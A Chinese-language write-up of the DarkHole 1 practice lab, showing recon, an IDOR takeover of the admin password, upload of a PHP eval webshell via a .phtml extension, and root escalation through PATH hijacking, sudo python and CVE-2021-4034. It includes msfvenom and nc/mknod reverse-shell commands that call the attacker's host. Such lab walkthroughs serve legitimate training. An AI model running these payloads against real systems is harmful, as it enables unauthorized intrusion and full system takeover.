darkhole1
信息收集
首先拿到靶机ip 扫描c段
扫出靶机为192.168.3.129
端口扫描(进行全面扫描防止漏扫)
1
| nmap -p 1-65535 -A 192.168.3.129
|
目标只开放了22/80端口
80端口识别出服务器为apache2.4.41(这个版本好像存在解析漏洞,后面可能用到),不出意外是php的网页

顺便看下页面源代码,没有找到有用信息
接下来对该网站进行目录搜集
1
| python dirsearch.py -u http://192.168.3.129/
|
等程序跑完查看报告
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| # Dirsearch started Sat Oct 1 08:19:33 2022 as: dirsearch.py -u http://192.168.3.129/
403 278B http://192.168.3.129/.ht_wsr.txt 403 278B http://192.168.3.129/.htaccess.bak1 301 311B http://192.168.3.129/js -> REDIRECTS TO: http://192.168.3.129/js/ 403 278B http://192.168.3.129/.htaccess.save 403 278B http://192.168.3.129/.htaccess.sample 403 278B http://192.168.3.129/.htaccess.orig 403 278B http://192.168.3.129/.htaccess_extra 403 278B http://192.168.3.129/.htaccess_sc 403 278B http://192.168.3.129/.htaccessOLD 403 278B http://192.168.3.129/.htaccessOLD2 403 278B http://192.168.3.129/.htaccess_orig 403 278B http://192.168.3.129/.htaccessBAK 403 278B http://192.168.3.129/.html 403 278B http://192.168.3.129/.htm 403 278B http://192.168.3.129/.htpasswd_test 403 278B http://192.168.3.129/.htpasswds 403 278B http://192.168.3.129/.httr-oauth 403 278B http://192.168.3.129/.php 301 315B http://192.168.3.129/config -> REDIRECTS TO: http://192.168.3.129/config/ 200 947B http://192.168.3.129/config/ 301 312B http://192.168.3.129/css -> REDIRECTS TO: http://192.168.3.129/css/ 200 21B http://192.168.3.129/dashboard.php 200 1KB http://192.168.3.129/js/ 200 2KB http://192.168.3.129/login.php 302 0B http://192.168.3.129/logout.php -> REDIRECTS TO: login.php 200 3KB http://192.168.3.129/register.php 403 278B http://192.168.3.129/server-status 403 278B http://192.168.3.129/server-status/ 301 315B http://192.168.3.129/upload -> REDIRECTS TO: http://192.168.3.129/upload/ 200 932B http://192.168.3.129/upload/
|
403状态码为禁止访问
301状态码为永久移动
302状态码为临时移动
搜集200状态码可以成功访问的目录
1 2 3 4 5 6
| http://192.168.3.129/config/ http://192.168.3.129/dashboard.php http://192.168.3.129/js/ http://192.168.3.129/login.php http://192.168.3.129/register.php http://192.168.3.129/upload/
|
接下来看看一下这些页面(根据经验config目录可能存在信息泄露/login与register登录注册页面可能存在逻辑漏洞/upload可能存在文件上传getshell)接下来也会重点关注这几个问题
首先看下config目录
发现database.php,点进去看不到白高兴了
看下dashboard.php

这个也进不去,英文字面意思为仪表板,猜测可能是后台之类的可能得登录才有权限访问
看下js目录
两个js文件,先收集下来后面可能需要进行代码审计(大致看了下没啥用)
dashboard.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| function form_display_hour() { if (document.getElementById("fallday").checked) { document.getElementById("fhourdiv").style.display = "none"; } else { document.getElementById("fhourdiv").style.display = "flex"; } }
function form_init() { const today = new Date().toISOString(); const date = today.split("T")[0]; document.getElementById("fdate").min = date; document.getElementById("fstart").step = 900; document.getElementById("fend").step = 900; }
function time_step_str(date, step) { var minutes = date.getMinutes() + step; var hours = date.getHours() + Math.floor(minutes / 60); minutes %= 60; hour = String(hours).padStart(2, "0"); minutes = String(minutes).padStart(2, "0"); return `${hours}:${minutes}`; }
function form_validate_hour() { const start = document.getElementById("fstart"); const end = document.getElementById("fend");
var startDate = new Date(); var endDate = new Date();
startDate.setHours(...start.value.split(":").map(Number));
if (end.value === "") { end.value = time_step_str(startDate, Number(end.step) / 60); }
endDate.setHours(...end.value.split(":").map(Number));
if (startDate > endDate) { end.value = time_step_str(startDate, Number(end.step) / 60); } }
form_init();
|
home.js
1 2 3 4 5 6 7 8 9 10 11 12 13
| window.onscroll = function() {myFunction()};
var header = document.getElementById("nav-bar"); var sticky = header.offsetTop;
function myFunction() { if (window.pageYOffset > sticky) { header.classList.add("sticky"); } else { header.classList.remove("sticky"); } }
|
接下来看下login.php
不出意外是个登录页面,后面看看有没有漏洞
然后同样是register.php注册页面
这两个页面都有可能存在sql注入,先不管
接下来看下upload目录
有个图片,看样子在拍电影应该是某个外国明星。有可能图片里隐藏了密码,先收集下来防止被作者偷袭。
目前网站第一层的信息收集的差不多了,进入渗透阶段。
渗透阶段
看样子是只能从登录/注册页面开始下手了
在登录页面拿我的字典弱口令爆破下,看能不能直接登上管理员的账号。(不出意外没跑下来)
那就先注册吧,注册之前养成好习惯把bp启动,拦截到注册的请求包
发现第一个无限注册的漏洞(靶场没卵用),后端只校验用户名/邮箱/在数据库重没重复,并没有验证码进行注册限制。
接下来用注册好的账号登录,在拦截登录第二个包发现个熟悉的身影adshboard.php并且携带id

因为我注册了两个号,admin123和admin1234,admin1234的id为3那么管理员的id可能为1,修改id=1试试能不能越权访问

可以的,给我拦截了,再看看有没有sql注入,靶场懒得手工注入了直接sqlmap跑一下
1
| sqlmap -u "http://192.168.3.129/dashboard.php?id=3" --batch
|
没跑下来,暂时忽略这个请求包,继续进行渗透
登录不了别人的,老老实实登自己的账号吧,登录成功到了一个可以修改用户信息和密码的页面

先试试修改Details信息,把用户名和邮箱admin1234改成了admin12345,试试把它改成其他存在用户admin123看看可不可以,改完没有效果,当修改id还是被拦截下来了
那么希望全都寄托在修改password的身上了。修改密码发现这个请求包是post的请求,而之前的都是get请求。看看这个接口有没有越权漏洞,更改post请求参数为id=1看看能不能更改管理员账号的密码
因为之前登录弱口令爆破时爆破admin时提示我用户重复了,说明这个用户是存在的,可能就是id=1的用户
尝试用新修改的admin密码登录admin账号,果然成功了
多了个upload模块,很明显了文件上传getshell,接下来就是怎么绕过限制或者黑名单
先上传一句木马试试水
1
| <?php eval($_POST[tpa]);?>
|
做了上传格式的限制,通过测试找到了黑名单的漏网之鱼.phtml后缀并没有进行限制

蚁剑连接成功 直接getshell

提权阶段
现在用户是www-data接下来要做的就是提权到root
查看敏感文件找到存在可以提权的用户
1
| cat /etc/passwd | grep /bin/bash
|

去john用户的家目录看看能不能找到有用的信息

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 1文件类型3文件拥有者权限3文件所属用户组权限3其他用户权限
#文件权限符以 d 开头的代表是文件夹
drwxrwxrwx
#文件权限符以 - 开头的代表是文件(包括硬链接文件,硬链接文件相当于原文件的备份,可以与原文件做到同步更新)
-rwxrwxrwx
#文件权限符以 l 开头的代表是软链接文件,软链接文件相当于原文件的快捷方式
lrwxrwxrwx
#文件权限符以 c 开头的代表是字符设备文件,例:鼠标、键盘;
crwxrwxrwx
#文件权限符以 b 开头的代表是块设备文件,例:硬盘;
brwxrwxrwx
r读w写x执行
|
方法一:SUID提权
这toto命令具有SUID权限,运行一下

看一下角色变没变

是否能查看目录下文件(仍然没有)

这个toto看输出可能是单纯执行了id命令

更改环境变量,等执行./toto时会执行id,执行id时就会执行我们的/bin/bash
1 2 3 4
| echo "/bin/bash" > /tmp/id chmod 777 /tmp/id export PATH=/tmp:$PATH ./toto
|

正常来讲应该是成功了,但这却失败了可能是蚁剑的原因,反弹到kali机上试试
方法1
生成php反弹shell
1
| msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.128 lport=7777 -o msfshell.php
|

开启http
1
| python -m http.server 80
|
蚁剑终端下载msfshell.php
还是先回到upload目录
下载
1
| wget http://192.168.3.128/msfshell.php
|
kali开启监听端口7777
1 2 3 4
| msfconsole set lhost 192.168.3.128 set lport 7777 set payload php/meterpreter/reverse_tcp
|
看看参数是不是都填完了
确认后run开始监听

访问shell文件 触发监听
http://192.168.3.129/upload/msfshell.php

成功拿到meterpreter
进入交互式shell
1 2
| shell python3 -c 'import pty;pty.spawn("/bin/bash")'
|

方法2
1 2 3 4 5
| nc -lvvp 供攻击机连接的端口号 example: nc -lvvp 8888 -vv比-v更详细输出
mknod 设备名称 p && nc kali 的ip kali的端口 0<设备名称 | /bin/bash 1>设备名称 example: mknod backdoor p && nc 192.168.133.131 8888 0<backdoor | /bin/bash 1>backdoor 获取回显窗口
|
拿到交互式shell后继续执行刚才的命令,成功进入到john账号
看看jogn目录下的文件

只看到了password的john的密码root123还是个弱口令
user.txt没权限看不了,还有个空的file.py文件
查看当前用户可运行的文件或命令
需要刚才获取到的密码root123
读取到john能以root权限执行file.py
接下来把john提权到root
写入file.py
1
| echo "import pty;pty.spawn('/bin/bash')" > file.py
|
执行
1
| sudo python3 /home/john/file.py
|

成功拿到root
方法二(policykit-1 CVE-2021-4034):
查找其他具有SUID权限的命令或文件
1
| find / -perm -u=s -type f 2>/dev/null
|
/usr/lib/policykit-1/polkit-agent-helper-1对应CVE-2021-4034
exp:https://github.com/berdav/CVE-2021-4034
clone到kali
打包zip,开启http
1
| zip -q -r CVE-2021-4034.zip CVE-2021-4034/
|
蚁剑下载文件(蚁剑需要重新上传一个 后缀为 phar的马然后反弹的shell 即可执行php-reverse-shell.phar)
1
| wget http://ip:80/CVE-2021-4034.zip
|
unzip解压 执行./cve-2021-4034
方法三:

__END__